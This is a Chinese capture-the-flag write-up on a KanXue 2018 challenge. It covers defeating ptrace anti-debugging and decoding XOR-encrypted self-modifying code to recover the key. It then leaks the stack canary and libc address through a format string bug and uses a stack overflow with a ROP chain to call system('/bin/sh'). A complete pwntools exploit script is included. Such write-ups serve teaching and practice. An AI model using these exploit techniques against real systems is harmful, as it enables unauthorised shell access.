格式化字符串漏洞利用

printf函数中的漏洞printf函数族是一个在C编程中比较常用的函数族。通常来说,我们会使用printf([格式化字符串],参数)的形式来进行调用,例如

chars[20]="Hello world!\n";

printf("%s", s);

然而,有时候为了省事也会写成

char s[20] ="Hello world!\n";

printf(s);

事实上,这是一种非常危险的写法。由于printf函数族的设计缺陷,当其第一个参数可被控制时,攻击者将有机会对任意内存地址进行读写操作。

下面以看雪2018CTF第3题为例,来说明怎样利用格式化字符串漏洞来读取特定内存地址的内容造成信息泄露。

checksec检查,结果表明可以发起got表攻击。

运行效果:

首先打印出来一首诗,不过没有什么用,输入一个字符串后就报错了

一般报错都是Illegal instruction什么的。

下面我们用IDA看看代码

test函数里调用了ptrace对程序本身进程进行trace,因为一个进程最多只能被一个进程trace,而像IDA、gdb等调试工具在动态调试时都是通过ptrace实现的,因此此时ptrace返回值(rax寄存器中)为负值,根据检测逻辑会执行sys_exit退出,从而实现反调试

解决办法:

屏蔽400749处的test调用(其调用了sys_ptrace,会引起退出)。

在返回后程序跳转到0x400818处,这里使用了SMC技术,部分指令被加密了。首先是调用了 mprotect 系统调用将 0x400000 开始 0x1000 长度的地址授予 rwx 权限;接下来调用 sys_read 系统调用向 bss 段上读入6 个 byte 的字符,read 完之后调到当前指令地址+5 的位置。

okay 字符读进去了,接下来的才是主菜。

有点类似压缩壳,0x40087f 刚好是退出循环之后的第一个指令地址,也可以看到现在的指令乱七八糟的。所以这里就有可能是根据传入的字符串,运行时对指令进行加密,就是这里异或的操作,如果输入的字符串正确,那么解密出来的指令也应该是正确的,就可以进入正确的逻辑,不然就会像开始那样 segment fault 或非法指令的提示了

跟踪程序发现流程如下

1.   (40087F处的代码) xor sn[1],直到出现nop为止

刚开始以为sn[1]会异或40087F之后的所有代码,解码出来的代码段都有一些无法解释的指令。再三观察,发现仅用sn[1]异或40087F后的部分代码。

根据[40087F]code xor sn[1]=0x90 --> sn[1]= [40087F]code xor 0x90,sn[1]必为可输入的字符

因此,使用010Editor将40087F开始的代码与0x90异或,挑出所有可以识别的字符

大致判断解码出的代码段不会太长,从异或出的代码中选取’l’, ‘z’, ‘B’, ’P’, ‘J’, ‘e’, ‘u’等进行计算。

发现用’e’=0x65异或40087F处的代码,x64dbg可以识别

将异或出的代码从010Editor拷贝到x64dbg中

调用x64dbg的Disassembler识别

nop指令前的代码都能正确识别,且出现了[rax+rcx]。

依据上述方法,得出sn[1]=’e’

2.   (400849处的代码) xor sn[1],长度为0x20个字符

3.  (4008C9处的代码) xor (sn[1] xor sn[2]),同理可以推出sn[2]=’v’

后来发现一个规律,异或后的第一条指令为lea rax, [rax+rcx],机器码为48 8D 04 08。利用这条规律可以很快找出其余字符。

4.   (400890处的代码) xor (sn[1] xor sn[2]),长度为0x20个字符

5.   (400910处的代码) xor (sn[1] xor sn[2] xor sn[3]),同理可以推出sn[3]=’X’

6.  (4008D7处的代码) xor (sn[1] xor sn[2] xor sn[3]),长度为0x20个字符

7.  (400957处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4]),同理可以推出sn[4]=’n’

8.  (40091E处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4]),长度为0x20个字符

9.  (40099E处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5]),同理可以推出sn[5]=’a’

10. (40095C处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5]),长度为0x20个字符

11.  (4009DC处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5] xor sn[6]),同理可以推出sn[6]=’K’

12. (4009B3处的代码) xor (sn[1] xor sn[2] xor sn[3] xor sn[4] xor sn[5] xor sn[6]),长度为0x20个字符

得出:sn=evXnaK

看一下最后解码出来的代码, 代码有点长总的来说就是

•write(0,"wow",5)

•read(0,rsp,0x1a)

•printf(rsp)

•read(0,[rsp-0x20],0x100)

•mprotect 代码段不可写


前面基本上都可以说是在逆向,后面就是 pwn 的内容了,主要漏洞点在

printf 的时候直接打印了字符串,有格式化漏洞

然后后面 read 函数可以读 0x100 长度的字符造成一个stack overflow


漏洞利用

okay 找到了一个格式化和栈溢出,因为程序开了 canary,又没有给libc,所以攻击的思路是

•格式化泄露出 canary 以及 libc 的地址

•找到对应版本的libc, 计算system 地址

•直接 stack overflow,用pop rdi; ret指令的地址覆盖原来的返回地址,执行完retn后就能调用 system("/bin/sh") ,get shell


%13$p得出canary,%15$p得出lic_start_main的地址

 

问题:根据什么确定%13$p  %15$p中的13,15的?

针对下面的图,%i$p返回第i个参数的数值

回答64 位函数的前 6 个参数是存储在相应的寄存器,其余参数才放置在堆栈中。因此除去第一行外,偏移应为1+6=7,2+6=8,…, n+6。所以%13$p输出偏移13处的16进制数据0x3f1fd542f2264700,%7$p输出偏移7处的16进制数据0x702435,%15$p输出偏移15处的16进制数据0x7f6fa3db6830。

lic_start_main=0x7f6fa3db6830-0xF0

libc_base=lic_start_main-0x20740

libc_system= libc_base+45390

 

在libc.so中找出/bin/sh所在地址

由于64位程序中第1个参数存放在rdi中,因此ROP时需要pop rdi, ret指令

exp

from pwn import *

context.log_level='debug'

env=os.environ

env['LD_PRELOAD']='/lib/x86_64-linux-gnu/libc.so.6'

r=process('./wow')

#r=remote('139.199.99.130',65188)

rdiret=0x400b23    //5F C3 poprdi;retn

r.sendline('evXnaK%15$p,%13$p')

r.recvuntil('0x')

leak=int(r.recv(12),16)

print "[+]leak: "+hex(leak)

r.recvuntil(',')

canary=int(r.recvline(),16)

print "[+]canary: "+hex(canary)

system=leak-0x7f823c89a830+0x7f823c8bf390

binsh=system-0x7f6157d2f390+0x7f6157e76d57

r.sendline('a'*88+p64(canary)+'aaaaaaaa'+p64(rdiret)+p64(binsh)+p64(system))

r.interactive()


漏洞利用流程

对照下述代码,执行到400ABA后,RSP指向400B23,将rdi的值赋为’/bin/sh’所在地址;接着RSP指向system函数所在地址,从而使system(‘/bin/sh’)得以执行。

seg000:0000000000400A7F      sar    rax, 0Ch

seg000:0000000000400A83      shl    rax, 0Ch

seg000:0000000000400A87      mov    rdi, rax

seg000:0000000000400A8A      mov    rdx, 5

seg000:0000000000400A91      mov    rax, 0Ah

seg000:0000000000400A98      mov    rsi, 1000h      ; mprotect将代码段编程不可写

seg000:0000000000400A9F     syscall                 ; Low latency system call

seg000:0000000000400AA1      mov    eax, 0

seg000:0000000000400AA6      mov    rdx, [rbp-8]

seg000:0000000000400AAA      xor    rdx, fs:28h

seg000:0000000000400AB3      jz     short locret_400ABA

seg000:0000000000400AB5      call   sub_400590

seg000:0000000000400ABA

seg000:0000000000400ABA locret_400ABA:                          ; CODE XREF:

seg000:0000000000400ABA      leave

seg000:0000000000400ABB      retn

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,099评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,828评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,540评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,848评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,971评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,132评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,193评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,934评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,376评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,687评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,846评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,537评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,175评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,887评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,134评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,674评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,741评论 2 351

推荐阅读更多精彩内容